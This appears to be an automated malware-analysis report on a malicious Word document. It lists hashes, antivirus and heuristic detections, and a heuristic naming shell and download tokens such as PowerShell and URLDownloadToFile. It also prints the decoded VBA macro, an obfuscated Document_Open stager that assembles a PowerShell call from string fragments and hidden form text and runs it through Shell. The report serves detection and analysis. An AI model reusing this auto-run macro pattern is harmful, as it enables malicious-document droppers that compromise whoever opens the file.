Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e74af9bf15c5099a…

MALICIOUS

Office (OLE)

268.0 KB Created: 2019-02-05 21:18:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 3bf8bc4d7f178559a480eb906172dc8a SHA-1: e0a87ba6315430ad4df038c0a3a17ea6fe58af86 SHA-256: e74af9bf15c5099a8ad04b715a47f6cd02a5a549a039bfc6f41fd316842214ea
250 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6852534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6852534-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    bENTdu = Shell(UCg8OJBlz() & gpJlzIRE, False)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2215 bytes
SHA-256: 4ecfed99b4a26ac71519e675ef3425758a5bd21df0fd5003d70e1280e97f50aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim gqfS5wxG As String
gqfS5wxG = wbOGogpB
Dim fN0Un7E As Long
fN0Un7E = (1283 - 1263) / (1)
Dim nCmBZ01s(11 To 184) As String
nCmBZ01s(11) = "hOGjIw"
Dim k067cxNq(10 To 164) As String
k067cxNq(10) = "Q3uWtz"
Call w("er")
End Sub

Attribute VB_Name = "GXbkFnp"
Sub w(aOU0sH)
Dim ntwTuIeoA(15 To 54) As String
ntwTuIeoA(15) = "F82wytA"
Dim IIbHi0L9(15 To 54) As String
IIbHi0L9(15) = "dnVsg7oj"
Dim kAdiNk() As Byte
Dim oHbdwQaDN(106) As Byte
Dim mFaZVsnp(256) As Byte
Dim u0aW23Ttq() As Byte
Dim WN0WIV3jR(2 To 63) As Long
WN0WIV3jR(2) = 368 - 221
Dim FmBUDp(16 To 107) As String
FmBUDp(16) = "ZZClLypP"
iruciwO5 = "SHE" & "LL "
ro7yWutbA = "ow"
NTlX4aDe = aOU0sH
Dim McGO0IS
McGO0IS = m6smwDu
Dim k0kPQA(13 To 222) As String
k0kPQA(13) = "FX9UL6D0"
Dim LmyFBWC(1 To 198) As String
LmyFBWC(1) = "LMTWJCSs"
Dim KhcbKJkyv() As Byte
Call bENTdu(ro7yWutbA & NTlX4aDe & iruciwO5 & AjN0ozpi)
End Sub

Attribute VB_Name = "PFUGY"
Public Function UCg8OJBlz() As String
UCg8OJBlz = "p"
End Function
Function bENTdu(gpJlzIRE)
bENTdu = Shell(UCg8OJBlz() & gpJlzIRE, False)
End Function

Attribute VB_Name = "Hx2KATO"
Public Function AjN0ozpi()
Dim khrEeba As Object
Set khrEeba = New f
Dim AoQUWKVLP As Long
AoQUWKVLP = (-645 + 677) + (62)
Dim njJ0nL(4 To 87) As Long
njJ0nL(4) = 71 + 120
Dim jhkJd
jhkJd = pHsm0duV
Dim peU693C As String
peU693C = SieYc5H
Dim RRoB9e As String
Dim yNmRxFD(15 To 176) As Long
yNmRxFD(15) = 326 - 241
Dim RfRKm4g
RfRKm4g = RwX7na
RRoB9e = khrEeba.de.Text
AjN0ozpi = RRoB9e
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{1DF2A06E-DEBD-4DA1-A4A8-58E0E4B4EAFB}{B101313B-DEBE-4296-98D9-7A59B895D796}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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